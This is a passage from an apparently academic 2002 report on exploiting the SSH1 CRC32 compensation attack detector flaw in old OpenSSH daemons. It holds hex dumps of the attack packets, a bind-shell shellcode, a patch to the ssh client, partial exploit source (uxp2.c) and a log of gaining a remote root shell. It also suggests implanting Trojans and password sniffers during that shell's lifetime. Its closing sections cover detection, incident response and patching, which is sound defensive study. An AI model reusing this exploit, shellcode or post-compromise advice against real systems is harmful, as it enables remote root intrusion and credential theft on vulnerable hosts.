0x5BFC4280.

The packets our exploit sends are filled with the quess for h-to-kernel_space offset (16-bit), although it is required only in the very beginning of the packet.

000000b8 5b fc 42 80 73 50 ff ff 00 00 28 60 01 00 ff ff ; [üB€sPÿÿ..(`..ÿÿ
000000c8 5b fc 42 80 73 50 ff ff 5b fc 42 80 73 50 ff ff ; [üB€sPÿÿ[üB€sPÿÿ
000000d8 5b fc 42 80 73 50 ff ff 5b fc 42 80 73 50 ff ff ; [üB€sPÿÿ[üB€sPÿÿ
000000e8 5b fc 42 80 73 50 ff ff 00 00 28 60 01 00 ff ff ; [üB€sPÿÿ..(`..ÿÿ
000000f8 5b fc 42 80 73 50 ff ff 5b fc 42 80 73 50 ff ff ; [üB€sPÿÿ[üB€sPÿÿ
00000108 00 00 28 60 01 00 ff ff 00 00 28 60 01 00 ff ff ; ..(`..ÿÿ..(`..ÿÿ
00000118 5b fc 42 80 73 50 ff ff 5b fc 42 80 73 50 ff ff ; [üB€sPÿÿ[üB€sPÿÿ
00000128 5b fc 42 80 73 50 ff ff 5b fc 42 80 73 50 ff ff ; [üB€sPÿÿ[üB€sPÿÿ
00000138 5b fc 42 80 73 50 ff ff 00 00 28 60 01 00 ff ff ; [üB€sPÿÿ..(`..ÿÿ
00000148 5b fc 42 80 73 50 ff ff 5b fc 42 80 73 50 ff ff ; [üB€sPÿÿ[üB€sPÿÿ
00000158 5b fc 42 80 73 50 ff ff 00 00 28 60 01 00 ff ff ; [üB€sPÿÿ..(`..ÿÿ
00000168 00 00 28 60 01 00 ff ff 00 00 28 60 01 00 ff ff ; ..(`..ÿÿ..(`..ÿÿ
00000178 5b fc 42 80 73 50 ff ff 00 00 28 60 01 00 ff ff ; [üB€sPÿÿ..(`..ÿÿ
00000188 00 00 28 60 01 00 ff ff 5b fc 42 80 73 50 ff ff ; ..(`..ÿÿ[üB€sPÿÿ
00000198 00 00 28 60 01 00 ff ff 00 00 28 60 01 00 ff ff ; ..(`..ÿÿ..(`..ÿÿ
000001a8 5b fc 42 80 73 50 ff ff 00 00 28 60 01 00 ff ff ; [üB€sPÿÿ..(`..ÿÿ
000001b8 00 00 28 60 01 00 ff ff 00 00 28 60 01 00 ff ff ; ..(`..ÿÿ..(`..ÿÿ
000001c8 5b fc 42 80 73 50 ff ff 5b fc 42 80 73 50 ff ff ; [üB€sPÿÿ[üB€sPÿÿ
...
Our exploit is a bit simplified version of the 'shack' implementation in this phase. Shack uses three different packet types to hunt down the h-to-stack distance with binary search. Our exploit only finds the distance from h to kernel_space. Although the difference is usually quite small and we can compensate the error in the shellcode phase. Our current implementation brute forces the distance beginning from an educated quess. It starts testing addresses way deep in the kernel space and comes down gradually and finds the lower bound of the kernel space. With this distance, we can calculate the addresses for h and buf.

4.3.4 Sending shellcode
The heart of our exploit is to send the packet that finalizes the breach to the victim host. This packet combines basically three important functions. It rewrites the saved EIP in the stack frame, exits the attack_detect() function call as quickly as possible, and when returned, executes the shellcode that lets the attacker telnet to the victim and control a root shell. The base of this packet is NOP instruction (0x90 on Intel x86 architecture) since it occupies most of this packet. Other contents are inserted where necessary. The following tcpdump extract shows what this ssh cipherpacket consists of.

000000b8 00 00 28 5d 73 50 ff ff 00 00 28 61 73 50 ff ff ; ..(]sPyy..(asPyy
000000c8 00 00 28 65 73 50 ff ff 00 00 28 69 73 50 ff ff ; ..(esPyy..(isPyy
000000d8 00 00 28 6d 73 50 ff ff 00 00 28 71 73 50 ff ff ; ..(msPyy..(qsPyy
000000e8 00 00 28 75 73 50 ff ff 00 00 28 79 73 50 ff ff ; ..(usPyy..(ysPyy
000000f8 00 00 28 7d 73 50 ff ff 00 00 28 81 73 50 ff ff ; ..(}sPyy..(sPyy
…
000040c8 00 00 48 65 73 50 ff ff 00 00 48 69 73 50 ff ff ; ..HesPyy..HisPyy
000040d8 00 00 48 6d 73 50 ff ff 00 00 48 71 73 50 ff ff ; ..HmsPyy..HqsPyy
000040e8 5b fc 2f 7f 73 50 ff ff 00 00 48 79 73 50 ff ff ; [ü/sPyy..HysPyy
000040f8 5b fc 2f 7f 73 50 ff ff 00 00 48 80 09 08 90 90 ; [ü/sPyy..H€..
00004108 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ;
00004118 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ;
00004128 90 90 90 90 90 90 90 90 00 00 48 80 09 08 90 90 ; ..H€..
00004138 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ;
00004148 00 00 48 80 09 08 90 90 00 00 48 80 09 08 90 90 ; ..H€.. ..H€..
00004158 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 :
00004168 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 :
00004178 90 90 90 90 90 90 90 90 00 00 48 80 09 08 90 90 ; ..H€..
00004188 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ;
00004198 90 90 90 90 90 90 90 90 00 00 48 80 09 08 90 90 ; ..H€..
000041a8 00 00 48 80 09 08 90 90 00 00 48 80 09 08 90 90 ; ..H€.. ..H€..
000041b8 90 90 90 90 90 90 90 90 00 00 48 80 09 08 90 90 ; ..H€..
000041c8 90 90 90 90 90 90 90 90 00 00 48 80 09 08 90 90 ; ..H€..
000041d8 00 00 48 80 09 08 90 90 00 00 48 80 09 08 90 90 ; ..H€.. ..H€..
000041e8 90 90 90 90 90 90 90 90 00 00 48 80 09 08 90 90 ; ..H€..
000041f8 00 00 48 80 09 08 90 90 00 00 48 80 09 08 90 90 ; ..H€.. ..H€..
00004208 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 :
…
00019028 eb 72 5e 29 c0 89 46 10 40 89 c3 89 46 0c 40 89 ; ër^)À‰F.@‰Ã‰F.@‰
00019038 46 08 8d 4e 08 b0 66 cd 80 43 c6 46 10 10 66 89 ; F.N.°fÍ€CÆF..f‰
00019048 5e 14 88 46 08 29 c0 89 c2 89 46 18 b0 90 66 89 ; ^.ˆF.)À‰Â‰F.°f‰
00019058 46 16 8d 4e 14 89 4e 0c 8d 4e 08 b0 66 cd 80 89 ; F.N.‰N.N.°fÍ€‰
00019068 5e 0c 43 43 b0 66 cd 80 89 56 0c 89 56 10 b0 66 ; ^.CC°fÍ€‰V.‰V.°f
00019078 43 cd 80 86 c3 b0 3f 29 c9 cd 80 b0 3f 41 cd 80 ; CÍ€†Ã°?)ÉÍ€°?AÍ€
00019088 b0 3f 41 cd 80 88 56 07 89 76 0c 87 f3 8d 4b 0c ; °?AÍ€ˆV.‰v.‡óK.
00019098 b0 0b cd 80 e8 89 ff ff ff 2f 62 69 6e 2f 73 68 ; °.Í€è‰yyy/bin/sh
000190a8 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ;
The first part of the packet is designed so that the for loop (before #3 in detect_attack()) increases the value of j, See Chapter 3 for more information. These blocks are filled with offsets for h to point to the following 0xFF's. This will make the for loop run quickly and smoothly until j is what we want it to be. We want j to be that value which will be written to saved_EIP. The most significant word (16-bit) of the saved_EIP is usually around 0x807. The least significant word can be whatever. Since detect_attack() will try to read memory at (buf + h[i] * SSH_BLOCKSIZE) at #4, the value we write on top of the old word in the memory cannot be very large. This means that we can only write small numbers to memory with detect_attack(). This is a reason for only writing the most significant byte of the saved_EIP, which is only about 0x807 and makes (buf + h[i] * SSH_BLOCKSIZE) readable at #4. However, this is no problem for our exploit, because our NOP sled is over 0xFFFF long and it doesn't matter what the LSW of EIP is if the MSW is correct.

When j is the desired saved_EIP_MSW (guessed), we set i to be the h-to-saved_EIP offset (guessed). Now detect_attack() will have to reach point #5 to write the new EIP with correct values of i and j. This is only possible when if clause at #4 is true and the CRC will be checked with check_crc(). This check will not generate 'CRC32 compensation attack detected' message since there is no attack pattern. On the contrary, the crc_check() will pass and the for loop is broken out of. Now h[i] will be j and detect_attack() has been exploited.

One more thing: The comparison at #4 will only pass if the block at c is the same as (buf + h[i] * SSH_BLOCKSIZE). j will be the target saved_EIP_MSW (such as 0x807) and c is (buf + j * SSH_BLOCKSIZE), so we need to fix the contents at (buf + h[i] * SSH_BLOCKSIZE) to be the same as at c. h[i] hopefully points to the MSW of saved_EIP and has a value that is the real return address for detect_attack() at this point. This is usually something like 0x805. This means that the block number 0x805 in our packet must have the same content as the block number 0x807 at hand. Therefore we need to have an exact copy of the saved_EIP_MSW writing block at 0x807. In the tcpdump above, these two blocks can be seen at 0x40E8 and at 0x40F8.

Once again, these blocks are followed by the CRC32 compensation attack pattern for exiting the outer for loop as quickly as possible. This pattern consists of 15 blocks that each include a h-to-buffer offset that points to the first block of this pattern (0x809, GET_CRC32() order). When detect_attack() processes the block number 0x809, it detects the attack and returns. By a miracle, the return address is now 0x807 and the process execution jumps to a new location, hopefully the NOP sled in the buffer.

4.3.5 Executing shellcode
Once the EIP lands on the NOP sled in buf, the execution will slide down the sled to the shellcode, where the attackers code will be executed with root privileges. The system call to execve in the shellcode will capture the ongoing process which will be bound to a tcp port.

The shellcode itself is 128 bytes long including the string that is passed to execve system call. The biggest problem of the shellcode is that it will have to know the address of the string "/bin/sh" in order to pass it as an argument to the system interrupt. For this purpose, it uses a call-pop combination to write EIP to stack and then pop it from the stack. Easy as that.

Assuming now that J stands for the JMP instruction, C for the CALL instruction, and s for the string, the execution flow would now be [1]:

Arrangement of Shellcode execution:

bottom of DDDDDDDDEEEEEEEEEEE top of
memory 89ABCDEF0123456789A memory
   buffer

<------ [JSSSSSSSSSSSSSSCCss]
   |^ ^|
   || ||
   (1) ||_____________||
|______________| (2)
top of bottom of
stack stack
See Appendix 7.1 for details.

4.4 Using exploit
The exploit application is a command-line utility that can be run on many different platforms. In the case of Intel x86 architecture, Linux, and victim sshd version openssh-2.2.0p1, the exploit works fine with no command-line arguments whatsoever. With different platforms, some parameter need adjusting to run the exploit in sensible time span.

A user of our exploit needs:

Openssh-2.3.0 client sourcecode
packet.diff for modifying the ssh client
uxp2.c sourcecode (our exploit application)
See Appendix 7.3 for packet.diff and uxp2.c source code files.

See Appendix 7.2 for details what the exploit looks like from the attackers point of view.

After the attacker connects to the victims new open port and root shell, the sshd gives 10 minutes to run commands as root. After those minutes the sshd parent process that forks children for individual connections will close the connection in the name of a time-out. This time can be used to implant Trojan horses and other malicious programs into the victim that will for example expose passwords as they are typed in.

4.5 Advantages and Disadvantages
The advantage of the exploit is that it runs without any parameters and succeeds to run the shellcode with some non-zero probability. The application runs the shellcode quite quickly compared to some other CRC32 attack detector exploits that also require perfect guesses for addresses.

The biggest disadvantage is that the application is heavily optimized for our own hardware and software platform. The application could prompt the user for different target sshd-implementations, for example. Some memory-address distances are determined by brute-force means. Switching to binary search could make the exploit a lot quicker. The exploit could also include some sort of root kit or tools to preserve the access to the victim host.

5 Counter actions
5.1 Detecting attacks
Detecting attacks using this exploit can be done pretty easily if the host has already some active log monitor or traffic follower (e.g. snort) running.

The traffic is quite notable because this is based on bruteforcing. The count of log entries on target machine will be therefore high. The following strings could be filtered out with the log monitor:

sshd[24399]: Disconnecting: Corrupted check bytes on input.
sshd[24439]: Disconnecting: crc32 compensation attack: network attack detected
If those entries are matched many on a row, the log monitor could dynamically set the firewall to block the connections from the source ip mentioned on the logs.

The traffic monitor could either check the lengths of the packets or if the packet contains lot of NOP instructions (0x90 on Intel platforms). The length of the packets is fairly constant (about 100kB) and there are only one big packet per connection and then the connection is dropped. Snort could be configured to do this monitoring easily.

Also the normal hack detection methods can be used. For example check the integrity of binaries using some automated tool (e.g. tripwire). If the logs are kept on and sent real-time to different, secure host, then the logs should inform about something mystical because they can't be tampered.

5.2 Required actions after being attacked
If the system's security is breached:

disconnect the machine from the network immediately
disconnect also the other hosts 'near' the infected one because probably the attacker has gained root on those machines as well
notify the users of this host
start to analyze the logs with security expert and inform the police if necessary (helps you in the case where your host is used in hacking other hosts)
do NOT put the machine in a production environment without complete system reinstall
This is the same procedure that should be followed in any hack suspicion.

5.3 Preventive actions
The vulnerability is easily fixed: change the variable n from 16-bit to 32-bit or set some kind of check for packet length or the value of n.

Frankly, updating your SSH daemon to a newer, secure version is the safest bet.

If the users are willing, restrict the hosts where the users can log from. This can be done using firewall settings.

6 References
[1] Aleph One: [phrack] Smashing The Stack For Fun And Profit [online] [referenced March 20, 2002] Vol 7, Issue 49
Available from: <http://www.phrack.com/phrack/49/P49-14>
[2] blackshell@hushmail.com: [Securityfocus bugtraq: vuln-dev archive] ssh1 remote root exploit [online]. [referenced March 20, 2002] Available from: <http://online.securityfocus.com/archive/82/247801>
[3] Johnson, Michael K. Linux Memory Management Overview. In Linux documentation project [online] [referenced March 20, 2002] Available from: <http://www.linuxdoc.org/LDP/khg/HyperNews/get/memory/linuxmm.html>
[4] Visscher Paul. readelf man page [online] [referenced March 20, 2002] Available from: <http://www.gnu.org/manual/binutils-2.10.1/html_chapter/binutils_14.html>
[5] Starzetz, Paul. ssh1.crc32.txt [online article] [referenced March 20, 2002] Available from: <http://packetstorm.widexs.nl/0102-exploits/ssh1.crc32.txt>
[6] Lanza, Jeffrey P. Vulnerability Note VU#945216 [online], Carnegie Mellon Software Engineering Institute. [referenced March 20, 2002] Available from: <http://www.kb.cert.org/vuls/id/945216>
[7] SSH CRC-32 Compensation Attack Detector Vulnerability, Securiryfocus.com bugtraq list [online]. [referenced March 20, 2002] Available from: <http://online.securityfocus.com/bid/2347>
[8] Dittrich, David A. Analysis of SSH crc32 compensation attack detector exploit [online]. [referenced March 20, 2002] Available from: <http://staff.washington.edu/dittrich/misc/ssh-analysis.txt>
[9] Rafail, Jason A.; Dougherty, Chad. CERT® Advisory CA-2001-35 Recent Activity Against Secure Shell Daemons [online] Carnegie Mellon Software Engineering Institute. [referenced March 20, 2002] Available from: <http://www.cert.org/advisories/CA-2001-35.html>
[10] Packetstorm exploit archive, Shack exploit [online] [referenced March 20, 2002] <http://packetstorm.widexs.nl/0201-exploits/cm-ssh.tgz>
[11] Incidents.org, Handler's Diary Thursday, December 13th 2001 [online] [referenced March 20, 2002] <http://www.incidents.org/diary/diary.php?id=118>
[12] Elson, Jeremy. tcpflow -- A TCP Flow Recorder [online] [referenced March 20, 2002] <http://www.circlemud.org/~jelson/software/tcpflow/>
[13] jsb4ch@hotmail.com, ANTI-prym/h4g1s portshell code [online] [referenced March 20, 2002] <http://www.cotse.com/sw/linux/portshell.txt>
[14] Heinisuo, Rami et al.: Elektronisen viittaamisen opas [online]. Jyväskylä: University of Jyväskylä, 1997 [referenced January 27, 2002] Available from: <http://lib.hut.fi/Elehdet/Elviira/ >
[15] Siegert, Martin: [linux-security] ssh1 remote root exploit [online]. Simon Fraser University, 2001 [referenced January 27, 2002] SFU's linux-security mailing list. Available from: <http://www.sfu.ca/~siegert/linux-security/msg00017.html>
[16] SSH statement regarding the vulnerability of SSH1 protocol <http://www.ssh.com/products/ssh/cert/>
[17] Possible OpenSSH DoS Attack <http://www.securityfocus.com/cgi-bin/archive.pl?id=82&start=2002-01-26&end=2002-02-01&threads=0&mid=004401c181d1$2b91adc0$0400a8c0@pi>
[18] SSH Vulnerability Scan Vulnerability to CRC32 compensation attack detector exploit <http://www.securityfocus.com/archive/1/243644> <http://staff.washington.edu/dittrich/misc/ssh-analysis.txt>
[19] Cisco Security Advisory: Multiple SSH Vulnerabilities <http://www.cisco.com/warp/public/707/SSH-multiple-pub.html>
[20] OpenSSH subject to traffic analysis <http://www.securityfocus.com/archive/1/176117/> <http://www.openwall.com/advisories/OW-003-ssh-traffic-analysis.txt>
[21] SSH brute forcer <http://www.securityfocus.com/archive/82/252405>
[22] blackshell tool1: SSHD vulnerability scanner <http://www.securityfocus.com/archive/82/247801>
[23] Ylönen, Tatu. The SSH (Secure Shell) Remote Login Protocol [online] [referenced March 20, 2002] <http://www.snailbook.com/docs/protocol-1.5.txt>

7 Appendices
7.1 Shellcode
/*
* Linux/x86
* TCP/36864 portshell (old, could be optimized further)
*/

char shellcode[] = /* anathema <anathema@hack.co.za> */
/* main: */
"xebx72" /* jmp callz */

/* start: */
"xebx72" /* popl %esi */

/* socket() */
"x29xc0" /* subl %eax, %eax */
"x89x46x10" /* movl %eax, 0x10(%esi) */
"x40" /* incl %eax */
"x89xc3" /* movl %eax, %ebx */
"x89x46x0c" /* movl %eax, 0x0c(%esi) */
"x40" /* incl %eax */
"x89x46x08" /* movl %eax, 0x08(%esi) */
"x8dx4ex08" /* leal 0x08(%esi), %ecx */
"xb0x66" /* movb $0x66, %al */
"xcdx80" /* int $0x80 */

/* bind() */
"x43" /* incl %ebx */
"xc6x46x10x10" /* movb $0x10, 0x10(%esi) */
"x66x89x5ex14" /* movw %bx, 0x14(%esi) */
"x88x46x08" /* movb %al, 0x08(%esi) */
"x29xc0" /* subl %eax, %eax */
"x89xc2" /* movl %eax, %edx */
"x89x46x18" /* movl %eax, 0x18(%esi) */
"xb0x90" /* movb $0x90, %al */
"x66x89x46x16" /* movw %ax, 0x16(%esi) */
"x8dx4ex14" /* leal 0x14(%esi), %ecx */
"x89x4ex0c" /* movl %ecx, 0x0c(%esi) */
"x8dx4ex08" /* leal 0x08(%esi), %ecx */
"xb0x66" /* movb $0x66, %al */
"xcdx80" /* int $0x80 */

/* listen() */
"x89x5ex0c" /* movl %ebx, 0x0c(%esi) */
"x43" /* incl %ebx */
"x43" /* incl %ebx */
"xb0x66" /* movb $0x66, %al */
"xcdx80" /* int $0x80 */

/* accept() */
"x89x56x0c" /* movl %edx, 0x0c(%esi) */
"x89x56x10" /* movl %edx, 0x10(%esi) */
"xb0x66" /* movb $0x66, %al */
"x43" /* incl %ebx */
"xcdx80" /* int $0x80 */

/* dup2(s, 0); dup2(s, 1); dup2(s, 2); */
"x86xc3" /* xchgb %al, %bl */
"xb0x3f" /* movb $0x3f, %al */
"x29xc9" /* subl %ecx, %ecx */
"xcdx80" /* int $0x80 */
"xb0x3f" /* movb $0x3f, %al */
"x41" /* incl %ecx */
"xcdx80" /* int $0x80 */
"xb0x3f" /* movb $0x3f, %al */
"x41" /* incl %ecx */
"xcdx80" /* int $0x80 */

/* execve() */
"x88x56x07" /* movb %dl, 0x07(%esi) */
"x89x76x0c" /* movl %esi, 0x0c(%esi) */
"x87xf3" /* xchgl %esi, %ebx */
"x8dx4bx0c" /* leal 0x0c(%ebx), %ecx */
"xb0x0b" /* movb $0x0b, %al */
"xcdx80" /* int $0x80 */

/* callz: */
"xe8x89xffxffxff" /* call start */
"/bin/sh";
7.2 Exploit usage
[root@localhost exploit]# ../uxp2
Finding estimate for h..buf distance
Testing h..buf offset: 0x00000000 B NOT FOUND (SEQV)
Testing h..buf offset: 0x0000c800 B FOUND (Corrupt bytes)
Finding exact h..buf distance
Testing h..buf offset: 0x00004800 B (prev. step=0x00008000h) NOT FOUND. Increasing by 0x00002000
Testing h..buf offset: 0x00008800 B (prev. step=0x00004000h) FOUND. Decreasing by 0x00001000
Testing h..buf offset: 0x00006800 B (prev. step=0x00002000h) FOUND. Decreasing by 0x00000800
Testing h..buf offset: 0x00005800 B (prev. step=0x00001000h) FOUND. Decreasing by 0x00000400
Testing h..buf offset: 0x00005000 B (prev. step=0x00000800h) NOT FOUND. Increasing by 0x00000200
Testing h..buf offset: 0x00005400 B (prev. step=0x00000400h) FOUND. Decreasing by 0x00000100
Testing h..buf offset: 0x00005200 B (prev. step=0x00000200h) FOUND. Decreasing by 0x00000080
Testing h..buf offset: 0x00005100 B (prev. step=0x00000100h) FOUND. Decreasing by 0x00000040
Testing h..buf offset: 0x00005080 B (prev. step=0x00000080h) NOT FOUND. Increasing by 0x00000020
Testing h..buf offset: 0x000050c0 B (prev. step=0x00000040h) FOUND. Decreasing by 0x00000010
Testing h..buf offset: 0x000050a0 B (prev. step=0x00000020h) NOT FOUND. Increasing by 0x00000008
Testing h..buf offset: 0x000050b0 B (prev. step=0x00000010h) NOT FOUND. Increasing by 0x00000004
Testing h..buf offset: 0x000050b8 B (prev. step=0x00000008h) FOUND. Decreasing by 0x00000002
Found exact distance: 0x000050b4
Finding lower kernel area boundary
Testing h..boundary offset 0xb7f88500 NOT FOUND. (SEQV)
Testing h..boundary offset 0xb7f884fc NOT FOUND. (SEQV)
Testing h..boundary offset 0xb7f884f8 FOUND. (CRC32 Attack Detected)
Trying to run shellcode. If output stalls, telnet to 192.168.1.1:36864
Trying shellcode/ (eip_MSW@0xbfffda00 pres_MSW=0x0806 targ_MSW=0x0808)

[1]+ Stopped ../uxp2
[root@localhost exploit]# kill %1

[1]+ Stopped ../uxp2
[root@localhost exploit]#
[root@localhost exploit]# telnet 192.168.1.1 32864
Trying 192.168.1.1...
telnet: connect to address 192.168.1.1: Connection refused
[root@localhost exploit]# telnet 192.168.1.1 36864
Trying 192.168.1.1...
Connected to 192.168.1.1.
Escape character is '^]'.
id;
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
: command not found
ls -l;
total 480
drwxr-xr-x 2 root root 4096 Mar 8 18:30 bin
drwxr-xr-x 3 root root 4096 Feb 28 22:26 boot
-rw------- 1 root root 520192 Mar 10 23:08 core
drwxr-xr-x 16 root root 77824 Mar 12 21:21 dev
drwxr-xr-x 60 root root 8192 Mar 19 19:24 etc
drwxr-xr-x 10 root root 4096 Mar 15 00:04 home
drwxr-xr-x 2 root root 4096 Jun 21 2001 initrd
drwxr-xr-x 7 root root 4096 Mar 4 15:45 lib
drwxr-xr-x 2 root root 16384 Sep 2 2001 lost+found
drwxr-xr-x 2 root root 0 Feb 28 22:32 misc
drwxr-xr-x 4 root root 4096 Nov 23 17:13 mnt
lrwxrwxrwx 1 root root 13 Jan 20 15:09 mp3 -> /mnt/hdd1/MP3
drwxr-xr-x 2 root root 4096 Aug 23 1999 opt
dr-xr-xr-x 180 root root 0 Feb 28 22:32 proc
drwxr-x--- 29 root root 4096 Mar 19 18:55 root
drwxr-xr-x 2 root root 4096 Mar 8 18:31 sbin
lrwxrwxrwx 1 root root 18 Nov 20 23:12 scratch -> /mnt/hdc1/scratch/
drwxrwxrwt 13 root root 4096 Mar 19 19:10 tmp
drwxr-xr-x 17 root root 4096 Feb 5 18:11 usr
drwxr-xr-x 22 root root 4096 Sep 2 2001 var
lrwxrwxrwx 1 root root 14 Nov 16 19:48 www -> /mnt/hdc1/www/
: command not found
exit;
Connection closed by foreign host.
[root@localhost exploit]#
7.3 Source code files for the exploit
7.3.1 packet.diff
Download packet.diff

--- packet.c Sat Oct 14 08:23:12 2000
+++ packet_modified.c Tue Mar 19 20:24:25 2002
@@ -125,6 +125,9 @@
/* Session key information for Encryption and MAC */
Kex *kex = NULL;

+/* pekka.korpinen@hut.fi, kalle.lyytikainen@hut.fi */
+/* HACK - Packet Number */
+int count = 0;
+
void
packet_set_kex(Kex *k)
{
@@ -461,6 +464,9 @@
unsigned int checksum;
u_int32_t rand = 0;

+ /* HACK - Count sent packets */
+ count++;
+
/*
   * If using packet compression, compress the payload of the outgoing
   * packet.
@@ -1172,7 +1178,32 @@
void
packet_write_poll()
{
- int len = buffer_len(&output);
+ int len;
+
+ /* --- HACK START --- */
+ FILE *f;
+ unsigned long sz;
+ char buf[50], *ptr, packet[270000];
+
+ if (count == 2)
+ {
+ debug("reading exploit packet from /tmp/exploit_packet");
+ f = fopen("/tmp/exploit_packet","r");
+ fread(buf, 1, 4, f);
+ sz = GET_32BIT(&buf[0])+4;
+ debug("packet length = %un", sz);
+
+ buffer_clear(&output);
+ buffer_append(&output, packet, sz);
+ ptr = buffer_ptr(&output);
+ fread(ptr, 1, sz, f);
+ fclose(f);
+
+ count++;
+ }
+ /* --- HACK END --- */
+
+ len = buffer_len(&output);
if (len > 0) {
len = write(connection_out, buffer_ptr(&output), len);
if (len <= 0) {
7.3.2 uxp2.c
Download uxp2.c

/*

THIS FILE IS FOR EDUCATIONAL PURPOSE ONLY.

Exploit code for using the modified ssh

2002-03-20

Authors:
Pekka Korpinen, pekka.korpinen@hut.fi / Helsinki University of Technology
Kalle Lyytikäinen, kalle.lyytikainen@hut.fi / Helsinki University of Technology

This code is based on the reverse-engineering work of the
shack implementation. Shellcode is by anathema.

*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>

/* Path to modified ssh */
#define PATH_SSH "./ssh"

// Target host
char host[] = "192.168.1.1";

// Target port
int port = 2222;

// Packet length (don't touch)
unsigned long packet_length = 102400;

// The packet buffer
char *buffer = NULL;

/*
* Linux/x86
* TCP/36864 portshell (old, could be optimized further)
*/

char shellcode[] = /* anathema <anathema@hack.co.za> */
/* main: */
"xebx72" /* jmp callz */
/* start: */
"x5e" /* popl %esi */

/* socket() */
"x29xc0" /* subl %eax, %eax */
"x89x46x10" /* movl %eax, 0x10(%esi) */
"x40" /* incl %eax */
"x89xc3" /* movl %eax, %ebx */
"x89x46x0c" /* movl %eax, 0x0c(%esi) */
"x40" /* incl %eax */
"x89x46x08" /* movl %eax, 0x08(%esi) */
"x8dx4ex08" /* leal 0x08(%esi), %ecx */
"xb0x66" /* movb $0x66, %al */
"xcdx80" /* int $0x80 */

/* bind() */
"x43" /* incl %ebx */
"xc6x46x10x10" /* movb $0x10, 0x10(%esi) */
"x66x89x5ex14" /* movw %bx, 0x14(%esi) */
"x88x46x08" /* movb %al, 0x08(%esi) */
"x29xc0" /* subl %eax, %eax */
"x89xc2" /* movl %eax, %edx */
"x89x46x18" /* movl %eax, 0x18(%esi) */
"xb0x90" /* movb $0x90, %al */
"x66x89x46x16" /* movw %ax, 0x16(%esi) */
"x8dx4ex14" /* leal 0x14(%esi), %ecx */
"x89x4ex0c" /* movl %ecx, 0x0c(%esi) */
"x8dx4ex08" /* leal 0x08(%esi), %ecx */
"xb0x66" /* movb $0x66, %al */
"xcdx80" /* int $0x80 */

/* listen() */
"x89x5ex0c" /* movl %ebx, 0x0c(%esi) */
"x43" /* incl %ebx */
"x43" /* incl %ebx */
"xb0x66" /* movb $0x66, %al */
"xcdx80" /* int $0x80 */

/* accept() */
"x89x56x0c" /* movl %edx, 0x0c(%esi) */
"x89x56x10" /* movl %edx, 0x10(%esi) */
"xb0x66" /* movb $0x66, %al */
"x43" /* incl %ebx */
"xcdx80" /* int $0x80 */

/* dup2(s, 0); dup2(s, 1); dup2(s, 2); */
"x86xc3" /* xchgb %al, %bl */
"xb0x3f" /* movb $0x3f, %al */
"x29xc9" /* subl %ecx, %ecx */
"xcdx80" /* int $0x80 */
"xb0x3f" /* movb $0x3f, %al */
"x41" /* incl %ecx */
"xcdx80" /* int $0x80 */
"xb0x3f" /* movb $0x3f, %al */
"x41" /* incl %ecx */
"xcdx80" /* int $0x80 */

/* execve() */
"x88x56x07" /* movb %dl, 0x07(%esi) */
"x89x76x0c" /* movl %esi, 0x0c(%esi) */
"x87xf3" /* xchgl %esi, %ebx */
"x8dx4bx0c" /* leal 0x0c(%ebx), %ecx */
"xb0x0b" /* movb $0x0b, %al */
"xcdx80" /* int $0x80 */

/* callz: */
"xe8x89xffxffxff" /* call start */
"/bin/sh";

void buffer_init()
{
buffer = (char *) malloc(packet_length+8);
}

void buffer_destroy()
{
if (buffer)
free(buffer);
}

void insert_crc32_compensation_attack_pattern(unsigned long *ptr,
unsigned long value1, unsigned long value2)
{
int positions[] = {0,6,9,10,16,20,21,22,24,25,27,28,30,31,32,-1};
int i;

for (i=0; positions[i]!=-1; i++) {
ptr[ positions[i]*2 ] = value1;
ptr[ positions[i]*2+1 ] = value2;
}
}

void change_word_order()
{
int i;
char ch, ch2, *aux;

for(i = 0 ; i < 4+packet_length ; i+=4) {
aux = buffer + i;
ch=*aux;
*aux=*(aux+3);
*(aux+3)=ch;
ch=*(aux+1);
*(aux+1)=*(aux+2);
*(aux+2)=ch;
}
}

int send_packet_and_check_result(char *grepstr)
{
char commandline[512];
int ret;
FILE *f;

// Write packet
f = fopen("/tmp/exploit_packet", "wb");
fwrite(buffer, 1, (packet_length+8), f);
fclose(f);

sprintf(commandline, "%s -p %i -v -l root %s 2> /tmp/output.txt", PATH_SSH, port, host);

ret = system(commandline);

if (grepstr != NULL) {
sprintf(commandline, "grep %s /tmp/output.txt > /dev/null", grepstr);
ret = system(commandline);
}
return ret;
}

int send_packet_shellcode(unsigned long buffer_offset, unsigned long eip_offset, unsigned int presumed_MSW, unsigned int target_MSW)
{
int ret, i;
unsigned long *ptr, buffer_offset_slide, temp;
char ch,ch2;

// Set the packet lengths (first one for the ssh-client)
// (second one is sent to the server)
ptr = (unsigned long *) buffer;
*(ptr++) = packet_length;
*(ptr++) = packet_length-1;

// NOP sled (to entire packet)
memset(ptr, 0x90, packet_length);

// Running j to target_MSW (writing into the buffer, FFFF)
// The +1 in "target_MSW+1" must be used because j starts at 0
buffer_offset_slide = buffer_offset + 3;
for (i=0; i < (target_MSW + 1) * 8 && i < packet_length; i+=8, buffer_offset_slide += 4) {
*(ptr++) = buffer_offset_slide;
*(ptr++) = 0x7350ffff;
}

// Inserting CRC32 compensation attack pattern
// Change the order of MSW-LSW
ch = (target_MSW+1)&0xff;
ch2 = ((target_MSW+1)&0xff00) >> 8;
temp = (ch<<24)+(ch2<<16)+0x9090;
insert_crc32_compensation_attack_pattern(ptr, buffer_offset_slide-1, temp);

// Place EIP overwrite blocks
ptr = (unsigned long *) buffer;
ptr += 2; // skip the length information

ptr[presumed_MSW * 2] = eip_offset;
ptr[target_MSW * 2] = eip_offset;

// Change the word order in buffer
change_word_order();

// Insert the shellcode (no word-order things here)
memcpy(buffer+8+packet_length-strlen(shellcode)-16, &shellcode, strlen(shellcode));

// Send packet (no grepping)
ret = send_packet_and_check_result(NULL);

return ret;
}

int send_packet_kernel(unsigned long kernel_offset, unsigned long buffer_offset)
{
int ret, i;
unsigned long *ptr;

ptr = (unsigned long *) buffer;
